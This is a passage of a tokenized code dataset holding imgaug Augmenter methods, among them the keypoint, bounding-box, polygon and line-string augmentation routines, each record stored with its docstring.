imgaug.HeatmapsOnImage\n    The augmented heatmaps.", "id": "f16288:c0:m7"}
{"signature": "def augment_segmentation_maps(self, segmaps, parents=None, hooks=None):", "body": "input_was_single_instance = False<EOL>if isinstance(segmaps, ia.SegmentationMapOnImage):<EOL><INDENT>input_was_single_instance = True<EOL>segmaps = [segmaps]<EOL><DEDENT>heatmaps_with_nonempty = [segmap.to_heatmaps(only_nonempty=True, not_none_if_no_nonempty=True)<EOL>for segmap in segmaps]<EOL>heatmaps = [heatmaps_i for heatmaps_i, nonempty_class_indices_i in heatmaps_with_nonempty]<EOL>nonempty_class_indices = [nonempty_class_indices_i<EOL>for heatmaps_i, nonempty_class_indices_i in heatmaps_with_nonempty]<EOL>heatmaps_aug = self.augment_heatmaps(heatmaps, parents=parents, hooks=hooks)<EOL>segmaps_aug = []<EOL>for segmap, heatmaps_aug_i, nonempty_class_indices_i in zip(segmaps, heatmaps_aug, nonempty_class_indices):<EOL><INDENT>segmap_aug = ia.SegmentationMapOnImage.from_heatmaps(heatmaps_aug_i,<EOL>class_indices=nonempty_class_indices_i,<EOL>nb_classes=segmap.nb_classes)<EOL>segmap_aug.input_was = segmap.input_was<EOL>segmaps_aug.append(segmap_aug)<EOL><DEDENT>if input_was_single_instance:<EOL><INDENT>return segmaps_aug[<NUM_LIT:0>]<EOL><DEDENT>return segmaps_aug<EOL>", "docstring": "Augment segmentation maps.\n\nParameters\n----------\nsegmaps : imgaug.SegmentationMapOnImage or \\\n          list of imgaug.SegmentationMapOnImage\n    Segmentation map(s) to augment. Either a single heatmap or a list of\n    segmentation maps.\n\nparents : None or list of imgaug.augmenters.meta.Augmenter, optional\n    Parent augmenters that have previously been called before the\n    call to this function. Usually you can leave this parameter as None.\n    It is set automatically for child augmenters.\n\nhooks : None or imgaug.HooksHeatmaps, optional\n    HooksHeatmaps object to dynamically interfere with the augmentation process.\n\nReturns\n-------\nsegmaps_aug : imgaug.SegmentationMapOnImage or \\\n              list of imgaug.SegmentationMapOnImage\n    Corresponding augmented segmentation map(s).", "id": "f16288:c0:m9"}
{"signature": "def augment_keypoints(self, keypoints_on_images, parents=None, hooks=None):", "body": "if self.deterministic:<EOL><INDENT>state_orig = self.random_state.get_state()<EOL><DEDENT>if parents is None:<EOL><INDENT>parents = []<EOL><DEDENT>input_was_single_instance = False<EOL>if isinstance(keypoints_on_images, ia.KeypointsOnImage):<EOL><INDENT>input_was_single_instance = True<EOL>keypoints_on_images = [keypoints_on_images]<EOL><DEDENT>ia.do_assert(ia.is_iterable(keypoints_on_images))<EOL>ia.do_assert(all([isinstance(keypoints_on_image, ia.KeypointsOnImage)<EOL>for keypoints_on_image in keypoints_on_images]))<EOL>if len(parents) == <NUM_LIT:0> or hooks is not None:<EOL><INDENT>keypoints_on_images_copy = [keypoints_on_image.deepcopy() for keypoints_on_image in keypoints_on_images]<EOL><DEDENT>else:<EOL><INDENT>keypoints_on_images_copy = keypoints_on_images<EOL><DEDENT>if hooks is not None:<EOL><INDENT>keypoints_on_images_copy = hooks.preprocess(keypoints_on_images_copy, augmenter=self, parents=parents)<EOL><DEDENT>if (hooks is None and self.activated)or (hooks is not None<EOL>and hooks.is_activated(keypoints_on_images_copy,<EOL>augmenter=self, parents=parents, default=self.activated)):<EOL><INDENT>if len(keypoints_on_images_copy) > <NUM_LIT:0>:<EOL><INDENT>keypoints_on_images_result = self._augment_keypoints(<EOL>keypoints_on_images_copy,<EOL>random_state=ia.copy_random_state(self.random_state),<EOL>parents=parents,<EOL>hooks=hooks<EOL>)<EOL>ia.forward_random_state(self.random_state)<EOL><DEDENT>else:<EOL><INDENT>keypoints_on_images_result = keypoints_on_images_copy<EOL><DEDENT><DEDENT>else:<EOL><INDENT>keypoints_on_images_result = keypoints_on_images_copy<EOL><DEDENT>if hooks is not None:<EOL><INDENT>keypoints_on_images_result = hooks.postprocess(keypoints_on_images_result, augmenter=self, parents=parents)<EOL><DEDENT>if self.deterministic:<EOL><INDENT>self.random_state.set_state(state_orig)<EOL><DEDENT>if input_was_single_instance:<EOL><INDENT>return keypoints_on_images_result[<NUM_LIT:0>]<EOL><DEDENT>return keypoints_on_images_result<EOL>", "docstring": "Augment image keypoints.\n\nThis is the corresponding function to ``augment_images()``, just for\nkeypoints/landmarks (i.e. coordinates on the image).\nUsually you will want to call ``augment_images()`` with a list of images,\ne.g. ``augment_images([A, B, C])`` and then ``augment_keypoints()`` with the\ncorresponding list of keypoints on these images, e.g.\n``augment_keypoints([Ak, Bk, Ck])``, where ``Ak`` are the keypoints on\nimage ``A``.\n\nMake sure to first convert the augmenter(s) to deterministic states\nbefore augmenting images and their corresponding keypoints,\ne.g. by\n\n>>> A = B = C = np.zeros((10, 10), dtype=np.uint8)\n>>> Ak = Bk = Ck = ia.KeypointsOnImage([ia.Keypoint(2, 2)], (10, 10))\n>>> seq = iaa.Fliplr(0.5)\n>>> seq_det = seq.to_deterministic()\n>>> imgs_aug = seq_det.augment_images([A, B, C])\n>>> kps_aug = seq_det.augment_keypoints([Ak, Bk, Ck])\n\nOtherwise, different random values will be sampled for the image\nand keypoint augmentations, resulting in different augmentations (e.g.\nimages might be rotated by ``30deg`` and keypoints by ``-10deg``).\nAlso make sure to call `to_deterministic()` again for each new batch,\notherwise you would augment all batches in the same way.\n\nParameters\n----------\nkeypoints_on_images : imgaug.KeypointsOnImage or \\\n                      list of imgaug.KeypointsOnImage\n    The keypoints/landmarks to augment.\n    Expected is an instance of imgaug.KeypointsOnImage or a list of\n    imgaug.KeypointsOnImage objects, with each such object containing\n    the keypoints of a single image.\n\nparents : None or list of imgaug.augmenters.meta.Augmenter, optional\n    Parent augmenters that have previously been called before the\n    call to this function. Usually you can leave this parameter as None.\n    It is set automatically for child augmenters.\n\nhooks : None or imgaug.HooksKeypoints, optional\n    HooksKeypoints object to dynamically interfere with the\n    augmentation process.\n\nReturns\n-------\nkeypoints_on_images_result : imgaug.KeypointsOnImage or \\\n                             list of imgaug.KeypointsOnImage\n    Augmented keypoints.", "id": "f16288:c0:m10"}
{"signature": "@abstractmethod<EOL><INDENT>def _augment_keypoints(self, keypoints_on_images, random_state, parents, hooks):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Augment keypoints on multiple images.\n\nThis is the internal variation of ``augment_keypoints()``.\nIt is called from ``augment_keypoints()`` and should usually not be\ncalled directly. It has to be implemented by every augmenter.\nThis method may transform the keypoints in-place.\nThis method does not have to care about determinism or the\nAugmenter instance's ``random_state`` variable. The parameter\n``random_state`` takes care of both of these.\n\nParameters\n----------\nkeypoints_on_images : list of imgaug.KeypointsOnImage\n    Keypoints to augment. They may be changed in-place.\n\nrandom_state : numpy.random.RandomState\n    The random state to use for all sampling tasks during the augmentation.\n\nparents : list of imgaug.augmenters.meta.Augmenter\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_keypoints`.\n\nhooks : imgaug.HooksKeypoints or None\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_keypoints`.\n\nReturns\n----------\nlist of imgaug.KeypointsOnImage\n    The augmented keypoints.", "id": "f16288:c0:m11"}
{"signature": "def augment_bounding_boxes(self, bounding_boxes_on_images, hooks=None):", "body": "input_was_single_instance = False<EOL>if isinstance(bounding_boxes_on_images, ia.BoundingBoxesOnImage):<EOL><INDENT>input_was_single_instance = True<EOL>bounding_boxes_on_images = [bounding_boxes_on_images]<EOL><DEDENT>kps_ois = []<EOL>for bbs_oi in bounding_boxes_on_images:<EOL><INDENT>kps = []<EOL>for bb in bbs_oi.bounding_boxes:<EOL><INDENT>kps.extend(bb.to_keypoints())<EOL><DEDENT>kps_ois.append(ia.KeypointsOnImage(kps, shape=bbs_oi.shape))<EOL><DEDENT>kps_ois_aug = self.augment_keypoints(kps_ois, hooks=hooks)<EOL>result = []<EOL>for img_idx, kps_oi_aug in enumerate(kps_ois_aug):<EOL><INDENT>bbs_aug = []<EOL>for i in sm.xrange(len(kps_oi_aug.keypoints) // <NUM_LIT:4>):<EOL><INDENT>bb_kps = kps_oi_aug.keypoints[i*<NUM_LIT:4>:i*<NUM_LIT:4>+<NUM_LIT:4>]<EOL>x1 = min([kp.x for kp in bb_kps])<EOL>x2 = max([kp.x for kp in bb_kps])<EOL>y1 = min([kp.y for kp in bb_kps])<EOL>y2 = max([kp.y for kp in bb_kps])<EOL>bbs_aug.append(<EOL>bounding_boxes_on_images[img_idx].bounding_boxes[i].copy(<EOL>x1=x1,<EOL>y1=y1,<EOL>x2=x2,<EOL>y2=y2<EOL>)<EOL>)<EOL><DEDENT>result.append(<EOL>ia.BoundingBoxesOnImage(<EOL>bbs_aug,<EOL>shape=kps_oi_aug.shape<EOL>)<EOL>)<EOL><DEDENT>if input_was_single_instance:<EOL><INDENT>return result[<NUM_LIT:0>]<EOL><DEDENT>return result<EOL>", "docstring": "Augment bounding boxes.\n\nThis is the corresponding function to ``augment_keypoints()``, just for\nbounding boxes.\nUsually you will want to call ``augment_images()`` with a list of images,\ne.g. ``augment_images([A, B, C])`` and then ``augment_bounding_boxes()``\nwith the corresponding list of bounding boxes on these images, e.g.\n``augment_bounding_boxes([Abb, Bbb, Cbb])``, where ``Abb`` are the\nbounding boxes on image ``A``.\n\nMake sure to first convert the augmenter(s) to deterministic states\nbefore augmenting images and their corresponding bounding boxes,\ne.g. by\n\n>>> A = B = C = np.ones((10, 10), dtype=np.uint8)\n>>> Abb = Bbb = Cbb = ia.BoundingBoxesOnImage([ia.BoundingBox(1, 1, 9, 9)], (10, 10))\n>>> seq = iaa.Fliplr(0.5)\n>>> seq_det = seq.to_deterministic()\n>>> imgs_aug = seq_det.augment_images([A, B, C])\n>>> bbs_aug = seq_det.augment_bounding_boxes([Abb, Bbb, Cbb])\n\nOtherwise, different random values will be sampled for the image\nand bounding box augmentations, resulting in different augmentations\n(e.g. images might be rotated by ``30deg`` and bounding boxes by\n``-10deg``). Also make sure to call ``to_deterministic()`` again for\neach new batch, otherwise you would augment all batches in the same\nway.\n\nParameters\n----------\nbounding_boxes_on_images : imgaug.BoundingBoxesOnImage or \\\n                           list of imgaug.BoundingBoxesOnImage\n    The bounding boxes to augment.\n    Expected is an instance of imgaug.BoundingBoxesOnImage or a list of\n    imgaug.BoundingBoxesOnImage objects, with each such object\n    containing the bounding boxes of a single image.\n\nhooks : None or imgaug.HooksKeypoints, optional\n    HooksKeypoints object to dynamically interfere with the\n    augmentation process.\n\nReturns\n-------\nresult : imgaug.BoundingBoxesOnImage or \\\n         list of imgaug.BoundingBoxesOnImage\n    Augmented bounding boxes.", "id": "f16288:c0:m12"}
{"signature": "def augment_polygons(self, polygons_on_images, parents=None, hooks=None):", "body": "from imgaug.augmentables.polys import PolygonsOnImage<EOL>def _subaugment(polygons_on_images_, random_state_, parents_, hooks_):<EOL><INDENT>return self._augment_polygons(<EOL>polygons_on_images_,<EOL>random_state=random_state_,<EOL>parents=parents_,<EOL>hooks=hooks_<EOL>)<EOL><DEDENT>return self._augment_coord_augables(<EOL>cls_expected=PolygonsOnImage,<EOL>subaugment_func=_subaugment,<EOL>augables_ois=polygons_on_images,<EOL>parents=parents,<EOL>hooks=hooks<EOL>)<EOL>", "docstring": "Augment polygons.\n\nThis is the corresponding function to ``augment_keypoints()``, just for\npolygons.\nUsually you will want to call ``augment_images()`` with a list of\nimages, e.g. ``augment_images([A, B, C])`` and then\n``augment_polygons()`` with the corresponding list of polygons on these\nimages, e.g. ``augment_polygons([A_poly, B_poly, C_poly])``, where\n``A_poly`` are the polygons on image ``A``.\n\nMake sure to first convert the augmenter(s) to deterministic states\nbefore augmenting images and their corresponding polygons,\ne.g. by\n\n>>> import imgaug as ia\n>>> import imgaug.augmenters as iaa\n>>> A = B = C = np.ones((10, 10), dtype=np.uint8)\n>>> Apoly = Bpoly = Cpoly = ia.PolygonsOnImage(\n>>>     [ia.Polygon([(0, 0), (1, 0), (1, 1), (0, 1)])],\n>>>     shape=(10, 10))\n>>> seq = iaa.Fliplr(0.5)\n>>> seq_det = seq.to_deterministic()\n>>> imgs_aug = seq_det.augment_images([A, B, C])\n>>> polys_aug = seq_det.augment_polygons([Apoly, Bpoly, Cpoly])\n\nOtherwise, different random values will be sampled for the image\nand polygon augmentations, resulting in different augmentations\n(e.g. images might be rotated by ``30deg`` and polygons by\n``-10deg``). Also make sure to call ``to_deterministic()`` again for\neach new batch, otherwise you would augment all batches in the same\nway.\n\nParameters\n----------\npolygons_on_images : imgaug.PolygonsOnImage or \\\n                     list of imgaug.PolygonsOnImage\n    The polygons to augment.\n    Expected is an instance of imgaug.PolygonsOnImage or a list of\n    imgaug.PolygonsOnImage objects, with each such object\n    containing the polygons of a single image.\n\nparents : None or list of imgaug.augmenters.meta.Augmenter, optional\n    Parent augmenters that have previously been called before the\n    call to this function. Usually you can leave this parameter as None.\n    It is set automatically for child augmenters.\n\nhooks : None or imgaug.HooksKeypoints, optional\n    HooksKeypoints object to dynamically interfere with the\n    augmentation process.\n\nReturns\n-------\nresult : imgaug.PolygonsOnImage or list of imgaug.PolygonsOnImage\n    Augmented polygons.", "id": "f16288:c0:m13"}
{"signature": "def augment_line_strings(self, line_strings_on_images, parents=None,<EOL>hooks=None):", "body": "from imgaug.augmentables.lines import LineStringsOnImage<EOL>def _subaugment(line_strings_on_images_, random_state_, parents_, hooks_):<EOL><INDENT>return self._augment_line_strings(<EOL>line_strings_on_images_,<EOL>random_state=random_state_,<EOL>parents=parents_,<EOL>hooks=hooks_<EOL>)<EOL><DEDENT>return self._augment_coord_augables(<EOL>cls_expected=LineStringsOnImage,<EOL>subaugment_func=_subaugment,<EOL>augables_ois=line_strings_on_images,<EOL>parents=parents,<EOL>hooks=hooks<EOL>)<EOL>", "docstring": "Augment line strings.\n\nThis is the corresponding function to ``augment_keypoints()``, just for\nline strings.\nUsually you will want to call ``augment_images()`` with a list of\nimages, e.g. ``augment_images([A, B, C])`` and then\n``augment_line_strings()``\nwith the corresponding list of line strings on these images, e.g.\n``augment_line_strings([A_line, B_line, C_line])``, where ``A_line``\nare the line strings on image ``A``.\n\nMake sure to first convert the augmenter(s) to deterministic states\nbefore augmenting images and their corresponding line strings,\ne.g. by\n\n>>> import imgaug as ia\n>>> import imgaug.augmenters as iaa\n>>> A = B = C = np.ones((10, 10), dtype=np.uint8)\n>>> A_line = B_line = C_line = ia.LineStringsOnImage(\n>>>     [ia.LineString([(0, 0), (1, 0), (1, 1), (0, 1)])],\n>>>     shape=(10, 10))\n>>> seq = iaa.Fliplr(0.5)\n>>> seq_det = seq.to_deterministic()\n>>> imgs_aug = seq_det.augment_images([A, B, C])\n>>> lines_aug = seq_det.augment_line_strings([A_line, B_line, C_line])\n\nOtherwise, different random values will be sampled for the image\nand line string augmentations, resulting in different augmentations\n(e.g. images might be rotated by ``30deg`` and line strings by\n``-10deg``). Also make sure to call ``to_deterministic()`` again for\neach new batch, otherwise you would augment all batches in the same\nway.\n\nParameters\n----------\nline_strings_on_images : imgaug.augmentables.lines.LineStringsOnImage \\\n                         or list of imgaug.augmentables.lines.LineStringsOnImage\n    The line strings to augment.\n    Expected is an instance of LineStringsOnImage or a list of\n    LineStringsOnImage objects, with each such object containing the\n    line strings of a single image.\n\nparents : None or list of imgaug.augmenters.meta.Augmenter, optional\n    Parent augmenters that have previously been called before the\n    call to this function. Usually you can leave this parameter as None.\n    It is set automatically for child augmenters.\n\nhooks : None or imgaug.HooksKeypoints, optional\n    HooksKeypoints object to dynamically interfere with the\n    augmentation process.\n\nReturns\n-------\nimgaug.augmentables.lines.LineStringsOnImage \\\nor list of imgaug.augmentables.lines.LineStringsOnImage\n    Augmented line strings.", "id": "f16288:c0:m14"}
{"signature": "def _augment_coord_augables(self, cls_expected, subaugment_func,<EOL>augables_ois, parents=None,<EOL>hooks=None):", "body": "if self.deterministic:<EOL><INDENT>state_orig = self.random_state.get_state()<EOL><DEDENT>if parents is None:<EOL><INDENT>parents = []<EOL><DEDENT>input_was_single_instance = False<EOL>if isinstance(augables_ois, cls_expected):<EOL><INDENT>input_was_single_instance = True<EOL>augables_ois = [augables_ois]<EOL><DEDENT>ia.do_assert(ia.is_iterable(augables_ois))<EOL>ia.do_assert(all([isinstance(augable_oi, cls_expected)<EOL>for augable_oi in augables_ois]))<EOL>augables_ois_copy = augables_ois<EOL>if len(parents) == <NUM_LIT:0> or hooks is not None:<EOL><INDENT>augables_ois_copy = [augable_oi.deepcopy()<EOL>for augable_oi<EOL>in augables_ois]<EOL><DEDENT>if hooks is not None:<EOL><INDENT>augables_ois_copy = hooks.preprocess(<EOL>augables_ois_copy, augmenter=self, parents=parents)<EOL><DEDENT>augables_ois_result = augables_ois_copy<EOL>is_activated = (hooks is None and self.activated)<EOL>is_activated_hooks = (is_activated is False) and (<EOL>hooks is not None<EOL>and hooks.is_activated(augables_ois_copy,<EOL>augmenter=self, parents=parents,<EOL>default=self.activated)<EOL>)<EOL>if is_activated or is_activated_hooks:<EOL><INDENT>if len(augables_ois) > <NUM_LIT:0>:<EOL><INDENT>augables_ois_result = subaugment_func(<EOL>augables_ois_copy,<EOL>ia.copy_random_state(self.random_state),<EOL>parents,<EOL>hooks<EOL>)<EOL>ia.forward_random_state(self.random_state)<EOL><DEDENT><DEDENT>if hooks is not None:<EOL><INDENT>augables_ois_result = hooks.postprocess(<EOL>augables_ois_result, augmenter=self, parents=parents)<EOL><DEDENT>if self.deterministic:<EOL><INDENT>self.random_state.set_state(state_orig)<EOL><DEDENT>if input_was_single_instance:<EOL><INDENT>return augables_ois_result[<NUM_LIT:0>]<EOL><DEDENT>return augables_ois_result<EOL>", "docstring": "Augment coordinate-based augmentables.\n\nThis is an abstract function called by keypoints, bounding boxes,\npolygons and line strings.\nTODO keypoints, bounding boxes currently missing -- add them\n\nParameters\n----------\ncls_expected : class\n    Class type that is expected. `augmentables_ois` will be\n    verified to use that class.\n\nsubaugment_func : callable\n    Function that will be called to actually augment the data.\n\naugables_ois : imgaug.augmentables.polys.PolygonsOnImage \\\n               or imgaug.augmentables.lines.LineStringsOnImage \\\n               or list of imgaug.augmentables.lines.LineStringsOnImage \\\n               or list of imgaug.augmentables.polys.PolygonsOnImage\n    The augmentables to augment. `augables_ois` is the abbreviation for\n    \"augmentables_on_images\". Expected are the augmentables on a\n    single image (single instance) or 1+ images (list of instances).\n\nparents : None or list of imgaug.augmenters.meta.Augmenter, optional\n    Parent augmenters that have previously been called before the\n    call to this function. Usually you can leave this parameter as None.\n    It is set automatically for child augmenters.\n\nhooks : None or imgaug.HooksKeypoints, optional\n    HooksKeypoints object to dynamically interfere with the\n    augmentation process.\n\nReturns\n-------\nimgaug.augmentables.polys.PolygonsOnImage \\\nor imgaug.augmentables.lines.LineStringsOnImage \\\nor list of imgaug.augmentables.polys.PolygonsOnImage \\\nor list of imgaug.augmentables.lines.LineStringsOnImage\n    Augmented augmentables.", "id": "f16288:c0:m15"}
{"signature": "def _augment_polygons(self, polygons_on_images, random_state, parents,<EOL>hooks):", "body": "return polygons_on_images<EOL>", "docstring": "Augment polygons on images.\n\nThis is the internal version of ``augment_polygons()``.\nIt is called from ``augment_polygons()`` and should usually not be\ncalled directly.\nThis method may transform the polygons in-place.\nThis method does not have to care about determinism or the\nAugmenter instance's ``random_state`` variable. The parameter\n``random_state`` takes care of both of these.\n\nParameters\n----------\npolygons_on_images : list of imgaug.PolygonsOnImage\n    Polygons to augment. They may be changed in-place.\n\nrandom_state : numpy.random.RandomState\n    The random state to use for all sampling tasks during the\n    augmentation.\n\nparents : list of imgaug.augmenters.meta.Augmenter\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_polygons`.\n\nhooks : imgaug.HooksKeypoints or None\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_polygons`.\n\nReturns\n----------\nlist of imgaug.PolygonsOnImage\n    The augmented polygons.", "id": "f16288:c0:m16"}
{"signature": "def _augment_polygons_as_keypoints(self, polygons_on_images, random_state,<EOL>parents, hooks, recoverer=None):", "body": "kps_ois = []<EOL>kp_counts = []<EOL>for polys_oi in polygons_on_images:<EOL><INDENT>kps = []<EOL>kp_counts_image = []<EOL>for poly in polys_oi.polygons:<EOL><INDENT>poly_kps = poly.to_keypoints()<EOL>kps.extend(poly_kps)<EOL>kp_counts_image.append(len(poly_kps))<EOL><DEDENT>kps_ois.append(ia.KeypointsOnImage(kps, shape=polys_oi.shape))<EOL>kp_counts.append(kp_counts_image)<EOL><DEDENT>kps_ois_aug = self._augment_keypoints(kps_ois, random_state, parents, hooks)<EOL>result = []<EOL>gen = enumerate(zip(kps_ois_aug, kp_counts))<EOL>for img_idx, (kps_oi_aug, kp_counts_image) in gen:<EOL><INDENT>polys_aug = []<EOL>counter = <NUM_LIT:0><EOL>for i, count in enumerate(kp_counts_image):<EOL><INDENT>poly_kps_aug = kps_oi_aug.keypoints[counter:counter+count]<EOL>poly_old = polygons_on_images[img_idx].polygons[i]<EOL>if recoverer is not None:<EOL><INDENT>poly_aug = recoverer.recover_from(<EOL>[(kp.x, kp.y) for kp in poly_kps_aug],<EOL>poly_old,<EOL>random_state=random_state)<EOL><DEDENT>else:<EOL><INDENT>poly_aug = poly_old.deepcopy(exterior=poly_kps_aug)<EOL><DEDENT>polys_aug.append(poly_aug)<EOL>counter += count<EOL><DEDENT>result.append(ia.PolygonsOnImage(polys_aug, shape=kps_oi_aug.shape))<EOL><DEDENT>return result<EOL>", "docstring": "Augment polygons by applying keypoint augmentation to their vertices.\n\nParameters\n----------\npolygons_on_images : list of imgaug.PolygonsOnImage\n    Polygons to augment. They may be changed in-place.\n\nrandom_state : numpy.random.RandomState\n    The random state to use for all sampling tasks during the\n    augmentation.\n\nparents : list of imgaug.augmenters.meta.Augmenter\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_polygons`.\n\nhooks : imgaug.HooksKeypoints or None\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_polygons`.\n\nrecoverer : None or imgaug._ConcavePolygonRecoverer\n    An instance used to repair invalid polygons after augmentation.\n    Must offer the method\n    ``recover_from(new_exterior, old_polygon, random_state=0)``.\n    If ``None`` then invalid polygons are not repaired.\n\nReturns\n----------\nlist of imgaug.PolygonsOnImage\n    The augmented polygons.", "id": "f16288:c0:m17"}
{"signature": "def _augment_line_strings(self, line_strings_on_images, random_state,<EOL>parents, hooks):", "body": "<EOL>from imgaug.augmentables.lines import LineStringsOnImage<EOL>kps_ois = []<EOL>kp_counts = []<EOL>for ls_oi in line_strings_on_images:<EOL><INDENT>kps = []<EOL>kp_counts_image = []<EOL>for ls in ls_oi.line_strings:<EOL><INDENT>ls_kps = ls.to_keypoints()<EOL>kps.extend(ls_kps)<EOL>kp_counts_image.append(len(ls_kps))<EOL><DEDENT>kps_ois.append(ia.KeypointsOnImage(kps, shape=ls_oi.shape))<EOL>kp_counts.append(kp_counts_image)<EOL><DEDENT>kps_ois_aug = self._augment_keypoints(kps_ois, random_state, parents,<EOL>hooks)<EOL>result = []<EOL>gen = enumerate(zip(kps_ois_aug, kp_counts))<EOL>for img_idx, (kps_oi_aug, kp_counts_image) in gen:<EOL><INDENT>lss_aug = []<EOL>counter = <NUM_LIT:0><EOL>for i, count in enumerate(kp_counts_image):<EOL><INDENT>ls_kps_aug = kps_oi_aug.keypoints[counter:counter+count]<EOL>ls_old = line_strings_on_images[img_idx].line_strings[i]<EOL>ls_aug = ls_old.deepcopy(<EOL>coords=[(kp.x, kp.y) for kp in ls_kps_aug])<EOL>lss_aug.append(ls_aug)<EOL>counter += count<EOL><DEDENT>result.append(LineStringsOnImage(lss_aug, shape=kps_oi_aug.shape))<EOL><DEDENT>return result<EOL>", "docstring": "Augment line strings on images.\n\nThis is the internal version of ``augment_line_strings()``.\nIt is called from ``augment_line_strings()`` and should usually not be\ncalled directly.\nThis method may transform the line strings in-place.\nThis method does not have to care about determinism or the\nAugmenter instance's ``random_state`` variable. The parameter\n``random_state`` takes care of both of these.\n\nParameters\n----------\nline_strings_on_images : list of imgaug.augmentables.lines.LineStringsOnImage\n    Line strings to augment. They may be changed in-place.\n\nrandom_state : numpy.random.RandomState\n    The random state to use for all sampling tasks during the\n    augmentation.\n\nparents : list of imgaug.augmenters.meta.Augmenter\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_line_strings`.\n\nhooks : imgaug.HooksKeypoints or None\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_line_strings`.\n\nReturns\n----------\nlist of imgaug.augmentables.lines.LineStringsOnImage\n    The augmented line strings.", "id": "f16288:c0:m18"}
{"signature": "def augment(self, return_batch=False, hooks=None, **kwargs):", "body": "assert ia.is_single_bool(return_batch), (<EOL>(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (str(type(return_batch)),)<EOL>)<EOL>expected_keys = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\"]<EOL>expected_keys_call = [\"<STR_LIT:image>\"] + expected_keys<EOL>assert any([key in kwargs for key in expected_keys_call]), (<EOL>\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\" % (<EOL>\"<STR_LIT:U+002CU+0020>\".join(expected_keys_call),))<EOL>unknown_args = [key for key in kwargs.keys()<EOL>if key not in expected_keys_call]<EOL>assert len(unknown_args) == <NUM_LIT:0>, (<EOL>\"<STR_LIT>\" % (<EOL>\"<STR_LIT:U+002CU+0020>\".join(unknown_args)<EOL>))<EOL>if \"<STR_LIT:image>\" in kwargs:<EOL><INDENT>assert \"<STR_LIT>\" not in kwargs, (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>images = [kwargs[\"<STR_LIT:image>\"]]<EOL><DEDENT>else:<EOL><INDENT>images = kwargs.get(\"<STR_LIT>\", None)<EOL><DEDENT>order = \"<STR_LIT>\"<EOL>nb_keys = len(list(kwargs.keys()))<EOL>vinfo = sys.version_info<EOL>is_py36_or_newer = vinfo[<NUM_LIT:0>] > <NUM_LIT:3> or (vinfo[<NUM_LIT:0>] == <NUM_LIT:3> and vinfo[<NUM_LIT:1>] >= <NUM_LIT:6>)<EOL>if is_py36_or_newer:<EOL><INDENT>order = \"<STR_LIT>\"<EOL><DEDENT>elif not return_batch and nb_keys > <NUM_LIT:2>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>elif not return_batch and nb_keys == <NUM_LIT:2> and images is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>batch = UnnormalizedBatch(<EOL>images=images,<EOL>heatmaps=kwargs.get(\"<STR_LIT>\", None),<EOL>segmentation_maps=kwargs.get(\"<STR_LIT>\", None),<EOL>keypoints=kwargs.get(\"<STR_LIT>\", None),<EOL>bounding_boxes=kwargs.get(\"<STR_LIT>\", None),<EOL>polygons=kwargs.get(\"<STR_LIT>\", None),<EOL>line_strings=kwargs.get(\"<STR_LIT>\", None)<EOL>)<EOL>batch_aug = self.augment_batch(batch, hooks=hooks)<EOL>if return_batch:<EOL><INDENT>return batch_aug<EOL><DEDENT>result = []<EOL>if order == \"<STR_LIT>\":<EOL><INDENT>for key in kwargs:<EOL><INDENT>if key == \"<STR_LIT:image>\":<EOL><INDENT>attr = getattr(batch_aug, \"<STR_LIT>\")<EOL>result.append(attr[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>result.append(getattr(batch_aug, \"<STR_LIT>\" % (key,)))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for key in expected_keys:<EOL><INDENT>if key == \"<STR_LIT>\" and \"<STR_LIT:image>\" in kwargs:<EOL><INDENT>attr = getattr(batch_aug, \"<STR_LIT>\")<EOL>result.append(attr[<NUM_LIT:0>])<EOL><DEDENT>elif key in kwargs:<EOL><INDENT>result.append(getattr(batch_aug, \"<STR_LIT>\" % (key,)))<EOL><DEDENT><DEDENT><DEDENT>if len(result) == <NUM_LIT:1>:<EOL><INDENT>return result[<NUM_LIT:0>]<EOL><DEDENT>return tuple(result)<EOL>", "docstring": "Augment data.\n\nThis method is a wrapper around\n``imgaug.augmentables.batches.UnnormalizedBatch`` and\n``augment_batch()``. Hence, it supports the same datatypes as\n``UnnormalizedBatch``.\n\nIf `return_batch` was not set to ``True``, the method will return\na tuple of augmentables. It will return the same types of augmentables\n(only augmented) as input into the method. This behaviour\nis partly specific to the python version:\n  * In _python 3.6+_ (if ``return_batch=False``):\n    * Three or more augmentables may be used as input.\n    * The return order matches the order of the named arguments, e.g.\n      ``B, D, C = augment(B=x, D=y, C=z)``.\n    * None of the provided named arguments has to be `image` or `images`.\n  * In _python <3.6_  (if ``return_batch=False``):\n    * One or two augmentables may be used as input, not more than that.\n    * At least one the augmentables has to be `image` or `images`.\n    * The augmented images are always returned first.\n\nIf `return_batch` was not set to ``False``, an instance of\n``UnnormalizedBatch`` will be returned. The output is the same for\nall python version and any number or combination of augmentables may\nbe provided.\n\nAll augmentables must be provided as named arguments.\nE.g. ``augment(<array>)`` will crash, but ``augment(images=<array>)``\nwill work.\n\nParameters\n----------\nimage : None\n    or (H,W,C) ndarray \\\n    or (H,W) ndarray, \\\n    optional\n    The image to augment. Only this or `images` can be set, not both.\n    If `return_batch` 